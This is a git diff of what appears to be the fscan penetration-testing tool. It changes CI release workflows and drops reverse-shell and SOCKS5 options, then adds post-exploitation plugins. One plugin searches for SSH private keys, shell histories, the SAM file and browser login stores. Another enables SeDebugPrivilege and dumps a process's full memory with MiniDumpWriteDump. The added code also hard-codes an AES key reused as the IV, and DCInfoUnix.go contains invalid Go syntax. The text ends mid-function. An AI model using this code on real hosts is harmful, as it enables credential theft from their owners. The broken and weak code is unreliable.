Compare commits

..

No commits in common. "1cfb21ed64829e2dec163f22ab69afa34d07afbb" and "05eaa0f70e9ed56ed8d13160409895769b698300" have entirely different histories.

28 changed files with 1764 additions and 6168 deletions

View File

@ -8,8 +8,8 @@ on:
inputs:
tag:
description: '发布标签'
required: false
default: ''
required: true
default: 'v1.0.0'
draft:
description: '创建草稿发布'
type: boolean
@ -20,13 +20,15 @@ on:
default: false
permissions:
contents: write # 需要写权限用于创建release
contents: write
issues: write
pull-requests: write
jobs:
goreleaser:
name: 构建和发布
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 60
# 设置作业级别的环境变量
env:
@ -36,7 +38,7 @@ jobs:
steps:
- name: 📥 检出代码
uses: actions/checkout@v4.1.1
uses: actions/checkout@v4
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
@ -46,40 +48,25 @@ jobs:
run: |
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
# 获取标签版本
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "is_tag=true" >> $GITHUB_OUTPUT
echo "branch_or_tag=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5.0.0
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 💾 缓存Go模块
uses: actions/cache@v4.0.0
with:
path: |
~/.cache/go-build
~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: 📦 下载依赖
run: |
go mod download
go mod verify
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3.0.0
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
@ -87,8 +74,7 @@ jobs:
run: |
echo "Go 版本: $(go version)"
echo "UPX 版本: $(upx --version)"
echo "发布标签: ${{ steps.project.outputs.branch_or_tag }}"
echo "构建模式: 发布模式"
echo "Git 标签: ${{ steps.project.outputs.version }}"
echo "提交: ${{ steps.project.outputs.short_sha }}"
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
echo "构建时间: ${{ steps.project.outputs.build_date }}"
@ -105,7 +91,7 @@ jobs:
- name: 🚀 构建和发布
id: build_step
uses: goreleaser/goreleaser-action@v5.0.0
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
@ -130,13 +116,13 @@ jobs:
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传构建产物
uses: actions/upload-artifact@v4.3.1
uses: actions/upload-artifact@v4
if: always()
with:
name: 发布产物-${{ steps.project.outputs.version }}
name: 构建产物-${{ steps.project.outputs.version }}
path: |
dist/
retention-days: 90
retention-days: 30
continue-on-error: true
- name: 📊 统计构建产物
@ -198,7 +184,6 @@ jobs:
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **构建模式** | 发布模式 |" >> $GITHUB_STEP_SUMMARY
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
@ -295,7 +280,6 @@ jobs:
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch_or_tag }})" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "---" >> $GITHUB_STEP_SUMMARY

View File

@ -6,31 +6,11 @@ on:
- dev
- develop
- feature/*
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
pull_request:
branches:
- main
- master
- dev
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
workflow_dispatch:
inputs:
branch:
@ -39,13 +19,13 @@ on:
default: 'dev'
permissions:
contents: read # 只需要读权限用于检出代码
contents: read
jobs:
test-build:
name: 测试构建
runs-on: ubuntu-latest
timeout-minutes: 20
timeout-minutes: 30
# 设置作业级别的环境变量
env:
@ -55,7 +35,7 @@ jobs:
steps:
- name: 📥 检出代码
uses: actions/checkout@v4.1.1
uses: actions/checkout@v4
with:
fetch-depth: 0
ref: ${{ github.event.inputs.branch || github.ref }}
@ -72,28 +52,18 @@ jobs:
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5.0.0
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 💾 缓存Go模块
uses: actions/cache@v4.0.0
with:
path: |
~/.cache/go-build
~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: 📦 下载依赖
run: |
go mod download
go mod verify
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3.0.0
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
@ -117,7 +87,7 @@ jobs:
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
- name: 🚀 测试构建 (Snapshot 模式)
uses: goreleaser/goreleaser-action@v5.0.0
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
@ -138,7 +108,7 @@ jobs:
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传测试产物
uses: actions/upload-artifact@v4.3.1
uses: actions/upload-artifact@v4
with:
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
path: |

8
.gitignore vendored
View File

@ -62,11 +62,3 @@ __debug_bin*
# Local development tools / 本地开发工具
.air.toml
air_tmp/
# Todo files / Todo文件
Todo列表.md
*todo*.md
*TODO*.md
# Claude documentation / Claude文档
.claude_docs/

View File

@ -63,14 +63,6 @@ var (
Shellcode string
// 反弹Shell相关变量
ReverseShellTarget string
ReverseShellActive bool // 反弹Shell是否处于活跃状态
// SOCKS5代理相关变量
Socks5ProxyPort int // SOCKS5代理监听端口
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
// Parse.go 使用的变量
HostPort []string
URLs []string
@ -157,7 +149,6 @@ func Flag(Info *HostInfo) {
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
// ═════════════════════════════════════════════════
@ -226,8 +217,6 @@ func Flag(Info *HostInfo) {
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数
@ -244,9 +233,6 @@ func Flag(Info *HostInfo) {
// 更新进度条显示状态
ShowProgress = !DisableProgress
// 同步配置到core包
SyncToCore()
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
if showHelp || shouldShowHelp(Info) {
flag.Usage()
@ -348,12 +334,7 @@ func preProcessLanguage() {
// shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo) bool {
// 检查是否提供了扫描目标
hasTarget := Info.Host != "" || TargetURL != ""
// 本地模式需要指定插件才算有效目标
if LocalMode && LocalPlugin != "" {
hasTarget = true
}
hasTarget := Info.Host != "" || TargetURL != "" || LocalMode
// 如果没有提供任何扫描目标,则显示帮助
if !hasTarget {
@ -369,35 +350,4 @@ func checkParameterConflicts() {
if AliveOnly && ScanMode == "icmp" {
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
}
// 检查本地模式和本地插件参数
if LocalMode {
if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
os.Exit(1)
}
// 验证本地插件名称
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"}
isValid := false
for _, valid := range validPlugins {
if LocalPlugin == valid {
isValid = true
break
}
}
if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
os.Exit(1)
}
}
// 如果指定了本地插件但未启用本地模式
if !LocalMode && LocalPlugin != "" {
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
os.Exit(1)
}
}

View File

@ -13,7 +13,7 @@ Constants.go - 核心常量定义
// 预定义端口组常量
var (
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
MainPorts = "21,22,23,25,80,81,110,135,139,143,161,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
)
// =============================================================================

View File

@ -17,7 +17,6 @@ var (
Timeout int64 // 超时时间
DisablePing bool // 禁用ping
LocalMode bool // 本地模式
LocalPlugin string // 本地插件选择
// 基础认证配置
Username string // 用户名

View File

@ -20,7 +20,7 @@ globals.go - 全局变量定义
// 版本信息
// =============================================================================
var version = "2.2.0"
var version = "2.1.0"
// =============================================================================
// 简化的全局状态管理(仅保留必要的同步机制)
@ -40,7 +40,6 @@ var (
Timeout int64 // 直接映射到base.Timeout
DisablePing bool // 直接映射到base.DisablePing
LocalMode bool // 直接映射到base.LocalMode
LocalPlugin string // 本地插件选择
AliveOnly bool // 仅存活探测模式
)
@ -106,7 +105,6 @@ func SyncFromCore() {
Timeout = base.Timeout
DisablePing = base.DisablePing
LocalMode = base.LocalMode
LocalPlugin = base.LocalPlugin
Username = base.Username
Password = base.Password
@ -131,7 +129,6 @@ func SyncToCore() {
base.Timeout = Timeout
base.DisablePing = DisablePing
base.LocalMode = LocalMode
base.LocalPlugin = LocalPlugin
base.Username = Username
base.Password = Password

View File

@ -138,6 +138,10 @@ var FlagMessages = map[string]map[string]string{
LangZH: "HTTP代理",
LangEN: "HTTP proxy",
},
"flag_socks5_proxy": {
LangZH: "SOCKS5代理",
LangEN: "SOCKS5 proxy",
},
"flag_poc_path": {
LangZH: "POC脚本路径",
LangEN: "POC script path",
@ -230,14 +234,6 @@ var FlagMessages = map[string]map[string]string{
LangZH: "Shellcode",
LangEN: "Shellcode",
},
"flag_reverse_shell_target": {
LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
},
"flag_socks5_proxy": {
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
},
"flag_language": {
LangZH: "语言: zh, en",
LangEN: "Language: zh, en",

View File

@ -45,16 +45,6 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra
// GetPlugins 获取插件列表(通用实现)
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
// 本地模式优先使用LocalPlugin参数
if b.filterType == FilterLocal && common.LocalPlugin != "" {
if GlobalPluginAdapter.PluginExists(common.LocalPlugin) {
return []string{common.LocalPlugin}, true
} else {
common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin))
return []string{}, true
}
}
// 如果指定了特定插件且不是"all"
if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(common.ScanMode)

View File

@ -91,13 +91,8 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
}
// 处理扫描结果
if result == nil {
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
} else if result.Success {
if result != nil && result.Success {
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
// TODO: 输出扫描结果
} else {
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
}
return nil

View File

@ -58,23 +58,6 @@ func RunScan(info common.HostInfo) {
// 等待所有扫描完成
wg.Wait()
// 检查是否有活跃的反弹Shell或SOCKS5代理
if common.ReverseShellActive {
common.LogBase("检测到活跃的反弹Shell保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持反弹Shell连接
select {} // 阻塞等待,直到收到系统信号
}
if common.Socks5ProxyActive {
common.LogBase("检测到活跃的SOCKS5代理保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持SOCKS5代理
select {} // 阻塞等待,直到收到系统信号
}
// 完成扫描
finishScan()
}

127
Plugins/Base.go Normal file
View File

@ -0,0 +1,127 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"net"
)
// ReadBytes 从连接读取数据直到EOF或错误
func ReadBytes(conn net.Conn) ([]byte, error) {
size := 4096 // 缓冲区大小
buf := make([]byte, size)
var result []byte
var lastErr error
// 循环读取数据
for {
count, err := conn.Read(buf)
if err != nil {
lastErr = err
break
}
result = append(result, buf[0:count]...)
// 如果读取的数据小于缓冲区,说明已经读完
if count < size {
break
}
}
// 如果读到了数据,则忽略错误
if len(result) > 0 {
return result, nil
}
return result, lastErr
}
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("base64解码失败: %v", err)
}
keyBytes := []byte(key)
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建解密块失败: %v", err)
}
// 创建CBC解密模式
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
// 解密数据
origData := make([]byte, len(cryptedBytes))
blockMode.CryptBlocks(origData, cryptedBytes)
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
}
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("填充长度无效")
}
return data[:length-padding], nil
}

1050
Plugins/DCInfo.go Normal file

File diff suppressed because it is too large Load Diff

10
Plugins/DCInfoUnix.go Normal file
View File

@ -0,0 +1,10 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
func DCInfoScan(info *common.HostInfo) (err error) {
return nil
}

218
Plugins/LocalInfo.go Normal file
View File

@ -0,0 +1,218 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
// 文件扫描黑名单,跳过这些类型和目录
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
// 敏感文件关键词白名单
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件路径
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件路径
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
// LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *common.HostInfo) (err error) {
common.LogBase("开始本地信息收集...")
// 获取用户主目录
home, err := os.UserHomeDir()
if err != nil {
common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
return err
}
// 扫描固定位置的敏感文件
scanFixedLocations(home)
// 根据规则搜索敏感文件
searchSensitiveFiles()
common.LogBase("本地信息收集完成")
return nil
}
// scanFixedLocations 扫描固定位置的敏感文件
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
// checkAndLogFile 检查并记录敏感文件
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
}
}
// searchSensitiveFiles 搜索敏感文件
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
break
}
}
return nil
})
}
}

319
Plugins/MiniDump.go Normal file
View File

@ -0,0 +1,319 @@
//go:build windows
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
ERROR_SUCCESS = 0
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// ProcessManager 处理进程相关操作
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// 创建新的进程管理器
func NewProcessManager() (*ProcessManager, error) {
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
return &ProcessManager{
kernel32: kernel32,
dbghelp: dbghelp,
advapi32: advapi32,
}, nil
}
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
return 0, fmt.Errorf("创建进程快照失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
return 0, fmt.Errorf("获取第一个进程失败")
}
for {
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
return 0, fmt.Errorf("未找到进程: %s", name)
}
func (pm *ProcessManager) closeHandle(handle uintptr) {
proc := pm.kernel32.MustFindProc("CloseHandle")
proc.Call(handle)
}
func (pm *ProcessManager) ElevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
ret, _, err := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
0x00061907, // MiniDumpWithFullMemory
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("写入转储文件失败: %v", err)
}
return nil
}
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
proc := pm.kernel32.MustFindProc("OpenProcess")
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
return 0, fmt.Errorf("打开进程失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
